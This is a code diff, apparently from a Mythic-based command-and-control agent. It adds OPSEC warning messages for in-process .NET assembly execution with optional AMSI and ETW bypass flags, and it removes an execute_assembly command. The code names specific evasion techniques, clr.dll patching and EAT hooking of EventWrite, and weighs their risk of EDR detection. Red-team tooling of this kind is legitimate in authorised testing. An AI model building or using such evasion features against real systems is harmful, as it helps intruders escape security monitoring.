||||
message += " - Advanced EDR solutions monitor CLR modifications\n\n"
|
||||
|
||||
if etw_enabled:
|
||||
message += " • --etw: ETW bypass via EAT hooking\n"
|
||||
message += " - EAT hooking advapi32.dll!EventWrite is monitored\n"
|
||||
message += " - Advanced EDR solutions detect export table modifications\n"
|
||||
message += " - May trigger immediate alerts\n\n"
|
||||
|
||||
message += "🔍 BYPASS DETECTION MECHANISMS:\n"
|
||||
message += " • CLR DLL patching detection\n"
|
||||
message += " • Export Address Table (EAT) hooking detection\n"
|
||||
message += " • Behavioral analysis of bypass techniques\n"
|
||||
message += " • Memory integrity checks\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n"
|
||||
message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n"
|
||||
|
||||
# Block if both bypasses are enabled
|
||||
if amsi_enabled and etw_enabled:
|
||||
blocked = True
|
||||
message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n"
|
||||
message += "This combination has very high detection risk.\n"
|
||||
message += "Consider using only one bypass or none if possible.\n\n"
|
||||
else:
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • CLR loading into memory\n"
|
||||
message += " • .NET assembly reflection/loading\n"
|
||||
message += " • Memory allocation (executable pages)\n"
|
||||
message += " • Assembly execution patterns\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • In-process execution reduces detection vectors (no process injection)\n"
|
||||
message += " • Better OPSEC than process spawning (no new process creation)\n"
|
||||
message += " • CLR loading may be detected by EDR\n"
|
||||
message += " • Memory allocation may be scanned\n\n"
|
||||
|
||||
message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n"
|
||||
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
|
||||
|
||||
if patch_exit_enabled:
|
||||
message += " • --patchexit: Prevents assembly from exiting (recommended)\n\n"
|
||||
|
||||
message += "💡 ALTERNATIVES:\n"
|
||||
message += " • Use `inline_execute` for BOFs (lower detection risk)\n"
|
||||
message += " • Consider executing assemblies without bypass flags first\n\n"
|
||||
|
||||
if not blocked:
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
else:
|
||||
message += "❌ This command is BLOCKED due to high detection risk.\n"
|
||||
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=blocked,
|
||||
OpsecPreBypassRole="other_operator" if blocked else "operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
amsi_enabled = taskData.args.get_arg("amsi") or False
|
||||
etw_enabled = taskData.args.get_arg("etw") or False
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Process Create: .NET assembly execution in-process\n"
|
||||
message += " • CLR Loading: .NET Common Language Runtime loaded into memory\n"
|
||||
message += " • Memory Allocation: Executable memory pages for assembly\n"
|
||||
|
||||
if amsi_enabled:
|
||||
message += " • AMSI Bypass: clr.dll patching (high detection risk)\n"
|
||||
if etw_enabled:
|
||||
message += " • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n"
|
||||
|
||||
message += "\n💡 ARTIFACT DETAILS:\n"
|
||||
message += " • Process Create artifact is logged in Mythic\n"
|
||||
message += " • CLR loading may be detected by EDR\n"
|
||||
message += " • Memory allocation may be scanned by EDR memory protection\n"
|
||||
|
||||
if amsi_enabled or etw_enabled:
|
||||
message += " • Bypass techniques may trigger immediate behavioral alerts\n"
|
||||
|
||||
message += "\n✅ Review artifacts in the Artifacts tab after execution."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
|
||||
@@ -12,5 +12,4 @@ charset_normalizer==3.3.2
|
||||
pycryptodome==3.19.0
|
||||
|
||||
# Optional dependencies:
|
||||
# donut-shellcode - Required only for execute_assembly command
|
||||
# Install with: pip install donut-shellcode
|
||||
# (None at this time)
|
||||
@@ -43,8 +43,7 @@ commands = {
|
||||
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
|
||||
# BOF and Assembly execution commands
|
||||
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
|
||||
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"},
|
||||
"execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
|
||||
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}
|
||||
}
|
||||
|
||||
def responseTasking(tasks):
|
||||
@@ -272,12 +271,11 @@ def responseTasking(tasks):
|
||||
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "assembly_special":
|
||||
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||
# inline_execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
|
||||
# For execute_assembly, it also uses subtasks
|
||||
# These commands are handled via subtasks in Python, so they may not reach here directly
|
||||
# But we'll handle them if they do
|
||||
# This command is handled via subtasks in Python, so it may not reach here directly
|
||||
# But we'll handle it if it does
|
||||
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
|
||||
|
||||
data = command_code + task_id
|
||||
|
||||
Reference in New Issue
Block a user